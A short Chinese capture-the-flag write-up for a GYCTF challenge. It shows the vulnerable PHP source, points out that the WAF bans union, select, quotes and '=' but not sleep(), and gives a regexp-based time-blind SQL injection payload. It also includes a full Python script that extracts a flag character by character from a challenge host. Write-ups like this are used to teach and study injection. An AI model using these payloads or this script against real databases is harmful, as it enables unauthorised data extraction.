GYCTF 盲注【regexp注入+时间盲注】

考点：regexp注入+时间盲注

源码：

<?php
    # flag在fl4g里
    include 'waf.php';
    header("Content-type: text/html; charset=utf-8"); 
    $db = new mysql();

    $id = $_GET['id'];

    if ($id) {
        if(check_sql($id)){
            exit();
        } else {
            $sql = "select * from flllllllag where id=$id";
            $db->query($sql);
        }
    }
    highlight_file(__FILE__);

union select  '  =  都ban了,但sleep（）没ban

考虑regexp代替 =  的时间盲注

?id=1 or if((length (datanase()) regexp 5, sleep(5),1)

exp:

#脚本来源https://www.gem-love.com/ctf/1669.html#i-2
import requests
import time
import datetime
from urllib.parse import quote

url = "http://2c2d306b5d6745be846972da7fd262b6e3668d53fa124de3.changame.ichunqiu.com/?id=111"
alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

target = 'fl4g'
result = ''
print('www.gem-love.com')
for i in range (1,33):
    for char in alphabet:
        # 设置payload
        payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char)
        # 计算响应时长
        start = int(time.time())
        r = requests.get(url+quote(payload))
        response_time = int(time.time()) - start

        if response_time >= 2:
            result += char
            print('Found: {}'.format(result))
            break